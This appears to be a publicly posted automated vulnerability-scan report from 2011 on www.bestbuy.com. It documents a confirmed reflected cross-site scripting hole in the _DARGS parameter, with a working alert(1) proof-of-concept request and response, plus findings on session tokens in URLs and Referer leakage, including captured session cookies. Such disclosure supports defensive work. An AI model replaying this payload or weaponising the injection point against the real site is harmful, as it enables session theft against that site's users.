XSS, Reflected Cross Site Scripting, CWE-79, CAPEC-86, DORK, GHDB, www.bestbuy.com

Report generated by XSS.CX at Wed Jul 20 07:15:11 CDT 2011.

Public Domain Vulnerability Information, Security Articles, Vulnerability Reports, GHDB, DORK Search

XSS Home | XSS Crawler | SQLi Crawler | HTTPi Crawler | FI Crawler |

Loading

1. Cross-site scripting (reflected)

2. Session token in URL

3. Referer-dependent response

4. Cross-domain Referer leakage

4.1. http://www.bestbuy.com/site/HTC+-+Trophy+Mobile+Phone+-+Black+(Verizon+Wireless)/2330093.p

4.2. http://www.bestbuy.com/site/olstemplatemapper.jsp

5. Cross-domain script include



1. Cross-site scripting (reflected)  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.bestbuy.com
Path:   /site/olstemplatemapper.jsp

Issue detail

The value of the _DARGS request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload c0316'-alert(1)-'cabc5e5b3d7 was submitted in the _DARGS parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Remediation background

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defences:In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.

Request

POST /site/olstemplatemapper.jsp?_DARGS=/site/en_US/catalog/browse/fragments/includes/olsmbpkgdevicetranspopup.jspc0316'-alert(1)-'cabc5e5b3d7 HTTP/1.1
Host: www.bestbuy.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.bestbuy.com/site/olstemplatemapper.jsp?id=pcat17408&width=400&skuID=2330093&isCntrctSelect=false&productId=1218323066904&contractDesc=&TB_iframe=true&&type=page&documentType=mobile&parentPage=PDP&modal=true&keepThis=true&height=250
Cookie: TLTSID=84D0DE5AB13D10B1A8788827D0E141DC; akaau=1310995660~id=1ba8cb2e676cea6446c2d3ded776fcfc; mobileab=b; newgroup3=b; newgroup2=b; newgroup=a; group2=a; group=c; DYN_USER_CONFIRM=1304deff50b793ec00235e3b0413fa91; DYN_USER_ID=ATG12562361841; JSESSIONID=389450CC5B435E7E6961192C7DB2C725.bbolsp-app05-28; TLTUID=84D0DE5AB13D10B1A8788827D0E141DC; fsr.a=1310993885945
Content-Type: application/x-www-form-urlencoded
Content-Length: 777

_dyncharset=ISO-8859-1&_dynSessConf=-189911339780467805&pspSkuId=&pspProductId=&parentSkuId=2330093&parentProductId=1218323066904&customerType=N&_D%3AcustomerType=+&_D%3AcustomerType=+&newRadio=cnt202
...[SNIP]...

Response

HTTP/1.1 200 OK
Server: Apache
Content-Type: text/html;charset=ISO-8859-1
X-Powered-By:
Vary: Accept-Encoding
Expires: Mon, 18 Jul 2011 12:58:29 GMT
Pragma: no-cache
Date: Mon, 18 Jul 2011 12:58:29 GMT
Content-Length: 1398
Connection: close
Cache-Control: no-store

<!DOCTYPE html>
<!-- B:226 -->
<!-- B:005 -->
<!-- bbolsp-app05/dlpolsapp28-40-11-6 -->
<!-- E:005 -->
<!-- B:0OD -->
<!-- B:185 -->
<script>
var popupUrl='/site/olstemplatemapper.jsp?_DARGS=/site/en_US/catalog/browse/fragments/includes/olsmbpkgdevicetranspopup.jspc0316'-alert(1)-'cabc5e5b3d7';
</script>
...[SNIP]...

2. Session token in URL  previous  next

Summary

Severity:   Medium
Confidence:   Firm
Host:   http://www.bestbuy.com
Path:   /site/olspage.jsp

Issue detail

The URL in the request appears to contain a session token within the query string:

Issue background

Sensitive information within URLs may be logged in various locations, including the user's browser, the web server, and any forward or reverse proxy servers between the two endpoints. URLs may also be displayed on-screen, bookmarked or emailed around by users. They may be disclosed to third parties via the Referer header when any off-site links are followed. Placing session tokens into the URL increases the risk that they will be captured by an attacker.

Issue remediation

The application should use an alternative mechanism for transmitting session tokens, such as HTTP cookies or hidden fields in forms that are submitted using the POST method.

Request

GET /site/olspage.jsp;jsessionid=389450CC5B435E7E6961192C7DB2C725.bbolsp-app05-28?id=pcat17408&width=400&skuID=2330093&isCntrctSelect=false&productId=1218323066904&contractDesc=&TB_iframe=true&isDevicePDP=true&type=page&documentType=mobile&parentPage=PDP&modal=true&keepThis=true&height=250 HTTP/1.1
Host: www.bestbuy.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.bestbuy.com/site/HTC+-+Trophy+Mobile+Phone+-+Black+(Verizon+Wireless)/2330093.p?id=1218323066904&skuId=2330093&st=htc%20trophy&cp=1&lp=1&contract_desc=
Cookie: TLTSID=84D0DE5AB13D10B1A8788827D0E141DC; akaau=1310995660~id=1ba8cb2e676cea6446c2d3ded776fcfc; mobileab=b; newgroup3=b; newgroup2=b; newgroup=a; group2=a; group=c; DYN_USER_CONFIRM=1304deff50b793ec00235e3b0413fa91; DYN_USER_ID=ATG12562361841; JSESSIONID=389450CC5B435E7E6961192C7DB2C725.bbolsp-app05-28; TLTUID=84D0DE5AB13D10B1A8788827D0E141DC; fsr.a=1310993883922

Response

HTTP/1.1 200 OK
Server: Apache
Content-Type: text/html;charset=ISO-8859-1
X-Powered-By:
Vary: Accept-Encoding
Expires: Mon, 18 Jul 2011 12:57:58 GMT
Pragma: no-cache
Date: Mon, 18 Jul 2011 12:57:58 GMT
Content-Length: 4044
Connection: close
Cache-Control: no-store

<!DOCTYPE html>
<!-- B:226 -->
<!-- B:005 -->
<!-- bbolsp-app05/dlpolsapp28-40-11-6 -->
<!-- E:005 -->
<!-- B:0OD -->
<!-- B:185 -->
<script type="text/javascript" language="javascript">
document.doma
...[SNIP]...

3. Referer-dependent response  previous  next

Summary

Severity:   Information
Confidence:   Firm
Host:   http://www.bestbuy.com
Path:   /site/olstemplatemapper.jsp

Issue description

The application's responses appear to depend systematically on the presence or absence of the Referer header in requests. This behaviour does not necessarily constitute a security vulnerability, and you should investigate the nature of and reason for the differential responses to determine whether a vulnerability is present.

Common explanations for Referer-dependent responses include:

Issue remediation

The Referer header is not a robust foundation on which to build any security measures, such as access controls or defences against cross-site request forgery. Any such measures should be replaced with more secure alternatives that are not vulnerable to Referer spoofing.

If the contents of responses is updated based on Referer data, then the same defences against malicious input should be employed here as for any other kinds of user-supplied data.

Request 1

POST /site/olstemplatemapper.jsp?_DARGS=/site/en_US/catalog/browse/fragments/includes/olsmbpkgdevicetranspopup.jsp HTTP/1.1
Host: www.bestbuy.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.bestbuy.com/site/olstemplatemapper.jsp?id=pcat17408&width=400&skuID=2330093&isCntrctSelect=false&productId=1218323066904&contractDesc=&TB_iframe=true&&type=page&documentType=mobile&parentPage=PDP&modal=true&keepThis=true&height=250
Cookie: TLTSID=84D0DE5AB13D10B1A8788827D0E141DC; akaau=1310995660~id=1ba8cb2e676cea6446c2d3ded776fcfc; mobileab=b; newgroup3=b; newgroup2=b; newgroup=a; group2=a; group=c; DYN_USER_CONFIRM=1304deff50b793ec00235e3b0413fa91; DYN_USER_ID=ATG12562361841; JSESSIONID=389450CC5B435E7E6961192C7DB2C725.bbolsp-app05-28; TLTUID=84D0DE5AB13D10B1A8788827D0E141DC; fsr.a=1310993885945
Content-Type: application/x-www-form-urlencoded
Content-Length: 777

_dyncharset=ISO-8859-1&_dynSessConf=-189911339780467805&pspSkuId=&pspProductId=&parentSkuId=2330093&parentProductId=1218323066904&customerType=N&_D%3AcustomerType=+&_D%3AcustomerType=+&newRadio=cnt202
...[SNIP]...

Response 1

HTTP/1.1 200 OK
Server: Apache
Content-Type: text/html;charset=ISO-8859-1
X-Powered-By:
Vary: Accept-Encoding
Expires: Mon, 18 Jul 2011 12:58:14 GMT
Pragma: no-cache
Date: Mon, 18 Jul 2011 12:58:14 GMT
Content-Length: 5716
Connection: close
Cache-Control: no-store

<!DOCTYPE html>
<!-- B:226 -->
<!-- B:005 -->
<!-- bbolsp-app05/dlpolsapp28-40-11-6 -->
<!-- E:005 -->
<!-- B:0OD -->
<!-- B:185 -->
<script type="text/javascript" language="javascript">
document.doma
...[SNIP]...
<div id="DeviceAdded" class="LBcontainer">
<form action="/site/olstemplatemapper.jsp?_DARGS=/site/en_US/catalog/browse/fragments/includes/olsmbpkgdevicedetailpopup.jsp" name="mobilePackage" method="post"><input value="ISO-8859-1" type="hidden" name="_dyncharset"></input><input value="-189911339780467805" type="hidden" name="_dynSessConf"></input><input value="pcat17408" type="hidden" name="id"><input value=" " type="hidden" name="_D:id"><input value="page" type="hidden" name="type"><input value=" " type="hidden" name="_D:type"><input value="2330093" type="hidden" name="skuId"><input value=" " type="hidden" name="_D:skuId"><input value="mobile" type="hidden" name="popupType"><input value=" " type="hidden" name="_D:popupType"><input value="cnt202" type="hidden" name="contractId"><input value=" " type="hidden" name="_D:contractId"><input value="1218323066904" type="hidden" name="productID"><input value=" " type="hidden" name="_D:productID"><input value="" type="hidden" name="contractSelected"><input value=" " type="hidden" name="_D:contractSelected"><input value="" type="hidden" name="removeLinkFacet"><input value=" " type="hidden" name="_D:removeLinkFacet"><input value="PDP" type="hidden" name="parentPage"><input value=" " type="hidden" name="_D:parentPage"><!-- pt5 --><h3><img src="http://images.bestbuy.com/BestBuy_US/en_US/images/global/mobile/images/LBcheckmark.jpg"/>This phone was added to your mobile package. </h3><ol>
<li class="LBdesc">
<table>
<tr>
<th class="productImage"></th>
<th class="productDescription"></th>
<th class="price"></th>
</tr>
<tr>
<input value="" type="hidden" name="addDeviceToPackage"><input value=" " type="hidden" name="_D:addDeviceToPackage"><td class="productImage" rowspan="99" valign="top">
<img src="http://images.bestbuy.com/BestBuy_US/images/products/2330/2330093_s.gif" align="top" alt="2330093 Front Thumbnail" border="0" class="" height="97.0" width="54.0" /></td>
<td class="productDescription hardGood">
HTC - Trophy Mobile Phone - B
...[SNIP]...

Request 2

POST /site/olstemplatemapper.jsp?_DARGS=/site/en_US/catalog/browse/fragments/includes/olsmbpkgdevicetranspopup.jsp HTTP/1.1
Host: www.bestbuy.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Cookie: TLTSID=84D0DE5AB13D10B1A8788827D0E141DC; akaau=1310995660~id=1ba8cb2e676cea6446c2d3ded776fcfc; mobileab=b; newgroup3=b; newgroup2=b; newgroup=a; group2=a; group=c; DYN_USER_CONFIRM=1304deff50b793ec00235e3b0413fa91; DYN_USER_ID=ATG12562361841; JSESSIONID=389450CC5B435E7E6961192C7DB2C725.bbolsp-app05-28; TLTUID=84D0DE5AB13D10B1A8788827D0E141DC; fsr.a=1310993885945
Content-Type: application/x-www-form-urlencoded
Content-Length: 777

_dyncharset=ISO-8859-1&_dynSessConf=-189911339780467805&pspSkuId=&pspProductId=&parentSkuId=2330093&parentProductId=1218323066904&customerType=N&_D%3AcustomerType=+&_D%3AcustomerType=+&newRadio=cnt202
...[SNIP]...

Response 2

HTTP/1.1 200 OK
Server: Apache
Content-Type: text/html;charset=ISO-8859-1
X-Powered-By:
Vary: Accept-Encoding
Expires: Mon, 18 Jul 2011 12:58:28 GMT
Pragma: no-cache
Date: Mon, 18 Jul 2011 12:58:28 GMT
Content-Length: 1702
Connection: close
Cache-Control: no-store

<!DOCTYPE html>
<!-- B:226 -->
<!-- B:005 -->
<!-- bbolsp-app05/dlpolsapp28-40-11-6 -->
<!-- E:005 -->
<!-- B:0OD -->
<!-- B:185 -->
<script type="text/javascript" language="javascript">
document.doma
...[SNIP]...
<script>
location.href='/site/olspage.jsp?id=pcat17408&type=page&documentType=mobile&contractDesc=&skuID=2330093&removeLinkFacet=&contractSelected=&parentPage=PDP';
</script>
<!-- E:189 -->
<!-- E:188 -->
<script language="javascript" type="text/javascript">
</script>
<script language="javascript" type="text/javascript">
track.catId ='pcat17408';track.mobilePackage='0';
</script>
<!-- E:185 -->
<!-- E:0OD -->
<!-- B:0VW -->
<!-- E:0VW -->
</body>
</html>
<!-- E:226 -->

4. Cross-domain Referer leakage  previous  next
There are 2 instances of this issue:

Issue background

When a web browser makes a request for a resource, it typically adds an HTTP header, called the "Referer" header, indicating the URL of the resource from which the request originated. This occurs in numerous situations, for example when a web page loads an image or script, or when a user clicks on a link or submits a form.

If the resource being requested resides on a different domain, then the Referer header is still generally included in the cross-domain request. If the originating URL contains any sensitive information within its query string, such as a session token, then this information will be transmitted to the other domain. If the other domain is not fully trusted by the application, then this may lead to a security compromise.

You should review the contents of the information being transmitted to other domains, and also determine whether those domains are fully trusted by the originating application.

Today's browsers may withhold the Referer header in some situations (for example, when loading a non-HTTPS resource from a page that was loaded over HTTPS, or when a Refresh directive is issued), but this behaviour should not be relied upon to protect the originating URL from disclosure.

Note also that if users can author content within the application then an attacker may be able to inject links referring to a domain they control in order to capture data from URLs used within the application.

Issue remediation

The application should never transmit any sensitive information within the URL query string. In addition to being leaked in the Referer header, such information may be logged in various locations and may be visible on-screen to untrusted parties.


4.1. http://www.bestbuy.com/site/HTC+-+Trophy+Mobile+Phone+-+Black+(Verizon+Wireless)/2330093.p  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.bestbuy.com
Path:   /site/HTC+-+Trophy+Mobile+Phone+-+Black+(Verizon+Wireless)/2330093.p

Issue detail

The page was loaded from a URL containing a query string:The response contains the following links to other domains:

Request

GET /site/HTC+-+Trophy+Mobile+Phone+-+Black+(Verizon+Wireless)/2330093.p?id=1218323066904&skuId=2330093&st=htc%20trophy&cp=1&lp=1&contract_desc= HTTP/1.1
Host: www.bestbuy.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://mobile.microsoft.com/windowsphone/en-us/buy/phonedetails.mspx?id=1685&np=1569-1684-1536-1537-1538-1568-1690-1685&WT.mpe=oHP-car

Response

HTTP/1.1 200 OK
Server: Apache
Content-Type: text/html;charset=ISO-8859-1
X-Powered-By:
Vary: Accept-Encoding
Expires: Mon, 18 Jul 2011 12:58:52 GMT
Pragma: no-cache
Date: Mon, 18 Jul 2011 12:58:52 GMT
Content-Length: 103169
Connection: close
Cache-Control: no-store

<!DOCTYPE html>
<!-- B:226 -->
<!-- B:005 -->
<!-- bbolsp-app05/dlpolsapp28-40-11-6 -->
<!-- E:005 -->
<!-- B:0OE -->
<!-- B:0ZX -->
<!-- B:0ZV -->
<html lang="en-US" xmlns:og="http://ogp.me/ns#" xmln
...[SNIP]...
<h4><a data-lid="hdr_rwd" href="http://www.myrz.com" onclick="return popNew(this,1024,600,'scrollbars=1,location=1,toolbar=1,menubar=1')" title="Reward Zone - Link will open new window" target="_blank"><img src="http://images.bestbuy.com:80/BestBuy_US/en_US/images/global/header/reward_zone_trans.gif" height="19" alt="" />
...[SNIP]...
<h4><a data-lid="hdr_wky" href="http://bestbuy.shoplocal.com/bestbuy/new_user_entry.aspx?adref=header" title="Weekly Ad"><span>
...[SNIP]...
<li><a data-lid="ubr_tvv_rsc_tmf" href="http://mf1.bestbuy.selectionassistant.com" onclick="return popNew(this,800,600);" title="TV Mount Finder will open new window" target="_blank">TV Mount Finder</a>
...[SNIP]...
<li><a data-lid="ubr_mob_rsc_muc" href="https://upgradechecker-new.bestbuymobile.com/mini/" class="widgetModal" data-modal="mobileUGC" title="Mobile Upgrade Checker will open in a modal window">Mobile Upgrade Checker</a>
...[SNIP]...
<li><a data-lid="ubr_mob_rsc_mrc" href="http://www.bestbuymobile.com" onclick="return popNew(this,800,600);" title="Mobile Research Center will open new window" target="_blank">Mobile Research Center</a>
...[SNIP]...
<li><a data-lid="ubr_cam_rsc_mfi" href="http://bestbuy.upgradebase.com" onclick="return popNew(this,800,650);" title="Memory Finder will open new window" target="_blank">Memory Finder</a>
...[SNIP]...
<li><a data-lid="ubr_com_rsc_mfi" href="http://bestbuy.upgradebase.com/" onclick="return popNew(this,800,600);" title="Memory Finder will open new window" target="_blank">Memory Finder</a>
...[SNIP]...
<h4 class="nav-hdr"><a data-lid="ubr_svc_pst" href="http://bestbuy.partsearch.com">PartStore</a>
...[SNIP]...
<p><a href="http://simulator.bestbuy.wdsserve.com/vdevice-bestbuy/actions/device/htc_trophy?networkId=769" target="_blank"><img src="http://images.bestbuy.com/BestBuy_US/en_US/images/abn/2011/pof/pcon/pdp_icons/icon_explore_phone.gif" style="float:left;padding:0 10px 10px 0;" border="0" alt="Explore phone" />
...[SNIP]...
<li><a href="http://bestbuy.partsearch.com" data-lid="ft_pst">PartStore</a>
...[SNIP]...
<li><a href="http://www.myrz.com" onclick="return popNew(this,1024,600,'scrollbars=1,location=1,toolbar=1,menubar=1')" title="Link will open new window" target="_blank" data-lid="ft_cyp">Learn More</a>
...[SNIP]...
<li><a href="http://www.bby.com" onclick="return popNew(this, 'kiosk');" title="Link will open new window" target="_blank" data-lid="ft_abb">About Best Buy</a>
...[SNIP]...
<li><a href="http://www.bby.com" onclick="return popNew(this, 'kiosk');" title="Link will open new window" target="_blank" data-lid="ft_ntb">News &ndash; The BBY</a>
...[SNIP]...
<li><a href="http://www.bestbuy-jobs.com" onclick="window.open('http://www.bestbuy-jobs.com','newWin','width='+screen.availWidth+',height='+screen.availHeight+',left=0,top=0,scrollbars=1');return false;" title="Link will open new window" data-lid="ft_car">Careers</a>
...[SNIP]...
<li><a href="http://phx.corporate-ir.net/phoenix.zhtml?c=83192&p=IROL-IRhome" onclick="return popNew(this, 'kiosk');" title="Link will open new window" target="_blank" data-lid="ft_foi">For Our Investors</a>
...[SNIP]...
<li><a href="http://www.bby.com/phoenix.zhtml?c=244152&amp;p=irol-newsSustainability" onclick="return popNew(this, 'kiosk');" title="Link will open new window" target="_blank" data-lid="ft_res">Sustainability</a>
...[SNIP]...
<li><a href="http://www.bestbuy-communityrelations.com" onclick="return popNew(this, 'kiosk');" title="Link will open new window" target="_blank" data-lid="ft_cr">Community Relations</a>
...[SNIP]...
<li><a href="http://www.bestbuy.ca">Best Buy Canada</a>
...[SNIP]...
<li><a href="http://www.bestbuybusiness.com/bbfb/en/US/adirect/bestbuy?cmd=OnlineOrderingPageDisplay&amp;websrc=BBOfficeProductsLandingTop">Best Buy for Business</a>
...[SNIP]...
<li><a href="http://www.bestbuybusiness.com/bbfb/en/US/adirect/bestbuy?cmd=BBFBChangeVerticalMarketGov&amp;newVertical=_gov">Best Buy for Government</a>
...[SNIP]...
<li><a href="http://www.bestbuybusiness.com/bbfb/en/US/adirect/bestbuy?cmd=BBFBChangeVerticalMarketEdu&amp;newVertical=_edu">Best Buy for Education</a>
...[SNIP]...
<li><a href="http://www.bestbuyon.com">Best Buy On</a>
...[SNIP]...
<li><a href="http://www.magnoliaav.com">Magnolia</a>
...[SNIP]...
<li><a href="http://www.geeksquad.com">Geek Squad</a>
...[SNIP]...
<li><a href="http://www.pacificsales.com">Pacific Sales</a>
...[SNIP]...
<li><a class="ftr-twt" href="http://twitter.com/twelpforce" data-lid="ft_tw">Ask Twelpforce</a>
...[SNIP]...
<li><a class="ftr-fbk" href="http://www.facebook.com/bestbuy" data-lid="ft_fb">Join us on Facebook</a>
...[SNIP]...
<li><a class="ftr-idx" href="http://bestbuyideax.com/" data-lid="ft_ide">Share your ideas</a>
...[SNIP]...
<div id="ftr-lgo">
               <a href="http://privacy-policy.truste.com/click-with-confidence/eusafe/en/www.bestbuy.com/seal_m"><img src="http://images.bestbuy.com:80/BestBuy_US/en_US/images/global/footer/eu_safe_harbor.gif" alt="TRUSTe EU Safe Harbor" /></a>
               <a href="http://privacy-policy.truste.com/click-with-confidence/ctv/en/www.bestbuy.com/seal_m"><img src="http://images.bestbuy.com:80/BestBuy_US/en_US/images/ghp/sw_truste.gif" alt="TRUSTe Certified Privacy" /></a>
               <a href="https://secure.globalsign.net/en/find/sealct.cfm?id=759637135" data-lid="ft_cyber"><img src="http://images.bestbuy.com:80/BestBuy_US/en_US/images/ghp/sw_cyber_trust.gif" alt="Cybertrust Secured" />
...[SNIP]...
<!-- PDH -->
           <script type="text/javascript" src="http://apis.google.com/js/plusone.js"></script>
...[SNIP]...

4.2. http://www.bestbuy.com/site/olstemplatemapper.jsp  previous

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.bestbuy.com
Path:   /site/olstemplatemapper.jsp

Issue detail

The page was loaded from a URL containing a query string:The response contains the following links to other domains:

Request

GET /site/olstemplatemapper.jsp?id=pcat17410&type=page&carrier_text=Verizon+Wireless&list=y&sc=mobilePlansSP&usc=pcmcat203600050025&documentType=popup&contract_Id=926&contract_text=New+2-yr.+contract&sku_id=2330093&lcn=Mobile+-+Mobile+Package&carrier_Id=929&add_to_pkg=true&removeLinkFacet=&contract_selected=New+2-yr.+contract&plan_type=I HTTP/1.1
Host: www.bestbuy.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.bestbuy.com/site/olstemplatemapper.jsp?_DARGS=/site/en_US/catalog/browse/fragments/includes/olsmbpkgdevicetranspopup.jsp
Cookie: TLTSID=84D0DE5AB13D10B1A8788827D0E141DC; akaau=1310995660~id=1ba8cb2e676cea6446c2d3ded776fcfc; mobileab=b; newgroup3=b; newgroup2=b; newgroup=a; group2=a; group=c; DYN_USER_CONFIRM=1304deff50b793ec00235e3b0413fa91; DYN_USER_ID=ATG12562361841; JSESSIONID=389450CC5B435E7E6961192C7DB2C725.bbolsp-app05-28; TLTUID=84D0DE5AB13D10B1A8788827D0E141DC; fsr.a=1310993885945

Response

HTTP/1.1 200 OK
Server: Apache
Content-Type: text/html;charset=ISO-8859-1
X-Powered-By:
Vary: Accept-Encoding
Expires: Mon, 18 Jul 2011 12:59:10 GMT
Pragma: no-cache
Date: Mon, 18 Jul 2011 12:59:10 GMT
Content-Length: 103215
Connection: close
Cache-Control: no-store

<!DOCTYPE html>
<!-- B:226 -->
<!-- B:005 -->
<!-- bbolsp-app05/dlpolsapp28-40-11-6 -->
<!-- E:005 -->
<!-- B:0OD -->
<!--B:0WP-->
<!-- B:143 -->
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="e
...[SNIP]...
<h4><a data-lid="hdr_rwd" href="http://www.myrz.com" onclick="return popNew(this,1024,600,'scrollbars=1,location=1,toolbar=1,menubar=1')" title="Reward Zone - Link will open new window" target="_blank"><img src="http://images.bestbuy.com:80/BestBuy_US/en_US/images/global/header/reward_zone_trans.gif" height="19" alt="" />
...[SNIP]...
<h4><a data-lid="hdr_wky" href="http://bestbuy.shoplocal.com/bestbuy/new_user_entry.aspx?adref=header" title="Weekly Ad"><span>
...[SNIP]...
<li><a data-lid="ubr_tvv_rsc_tmf" href="http://mf1.bestbuy.selectionassistant.com" onclick="return popNew(this,800,600);" title="TV Mount Finder will open new window" target="_blank">TV Mount Finder</a>
...[SNIP]...
<li><a data-lid="ubr_mob_rsc_muc" href="https://upgradechecker-new.bestbuymobile.com/mini/" class="widgetModal" data-modal="mobileUGC" title="Mobile Upgrade Checker will open in a modal window">Mobile Upgrade Checker</a>
...[SNIP]...
<li><a data-lid="ubr_mob_rsc_mrc" href="http://www.bestbuymobile.com" onclick="return popNew(this,800,600);" title="Mobile Research Center will open new window" target="_blank">Mobile Research Center</a>
...[SNIP]...
<li><a data-lid="ubr_cam_rsc_mfi" href="http://bestbuy.upgradebase.com" onclick="return popNew(this,800,650);" title="Memory Finder will open new window" target="_blank">Memory Finder</a>
...[SNIP]...
<li><a data-lid="ubr_com_rsc_mfi" href="http://bestbuy.upgradebase.com/" onclick="return popNew(this,800,600);" title="Memory Finder will open new window" target="_blank">Memory Finder</a>
...[SNIP]...
<h4 class="nav-hdr"><a data-lid="ubr_svc_pst" href="http://bestbuy.partsearch.com">PartStore</a>
...[SNIP]...
<li><a href="http://bestbuy.partsearch.com" data-lid="ft_pst">PartStore</a>
...[SNIP]...
<li><a href="http://www.myrz.com" onclick="return popNew(this,1024,600,'scrollbars=1,location=1,toolbar=1,menubar=1')" title="Link will open new window" target="_blank" data-lid="ft_cyp">Learn More</a>
...[SNIP]...
<li><a href="http://www.bby.com" onclick="return popNew(this, 'kiosk');" title="Link will open new window" target="_blank" data-lid="ft_abb">About Best Buy</a>
...[SNIP]...
<li><a href="http://www.bby.com" onclick="return popNew(this, 'kiosk');" title="Link will open new window" target="_blank" data-lid="ft_ntb">News &ndash; The BBY</a>
...[SNIP]...
<li><a href="http://www.bestbuy-jobs.com" onclick="window.open('http://www.bestbuy-jobs.com','newWin','width='+screen.availWidth+',height='+screen.availHeight+',left=0,top=0,scrollbars=1');return false;" title="Link will open new window" data-lid="ft_car">Careers</a>
...[SNIP]...
<li><a href="http://phx.corporate-ir.net/phoenix.zhtml?c=83192&p=IROL-IRhome" onclick="return popNew(this, 'kiosk');" title="Link will open new window" target="_blank" data-lid="ft_foi">For Our Investors</a>
...[SNIP]...
<li><a href="http://www.bby.com/phoenix.zhtml?c=244152&amp;p=irol-newsSustainability" onclick="return popNew(this, 'kiosk');" title="Link will open new window" target="_blank" data-lid="ft_res">Sustainability</a>
...[SNIP]...
<li><a href="http://www.bestbuy-communityrelations.com" onclick="return popNew(this, 'kiosk');" title="Link will open new window" target="_blank" data-lid="ft_cr">Community Relations</a>
...[SNIP]...
<li><a href="http://www.bestbuy.ca">Best Buy Canada</a>
...[SNIP]...
<li><a href="http://www.bestbuybusiness.com/bbfb/en/US/adirect/bestbuy?cmd=OnlineOrderingPageDisplay&amp;websrc=BBOfficeProductsLandingTop">Best Buy for Business</a>
...[SNIP]...
<li><a href="http://www.bestbuybusiness.com/bbfb/en/US/adirect/bestbuy?cmd=BBFBChangeVerticalMarketGov&amp;newVertical=_gov">Best Buy for Government</a>
...[SNIP]...
<li><a href="http://www.bestbuybusiness.com/bbfb/en/US/adirect/bestbuy?cmd=BBFBChangeVerticalMarketEdu&amp;newVertical=_edu">Best Buy for Education</a>
...[SNIP]...
<li><a href="http://www.bestbuyon.com">Best Buy On</a>
...[SNIP]...
<li><a href="http://www.magnoliaav.com">Magnolia</a>
...[SNIP]...
<li><a href="http://www.geeksquad.com">Geek Squad</a>
...[SNIP]...
<li><a href="http://www.pacificsales.com">Pacific Sales</a>
...[SNIP]...
<li><a class="ftr-twt" href="http://twitter.com/twelpforce" data-lid="ft_tw">Ask Twelpforce</a>
...[SNIP]...
<li><a class="ftr-fbk" href="http://www.facebook.com/bestbuy" data-lid="ft_fb">Join us on Facebook</a>
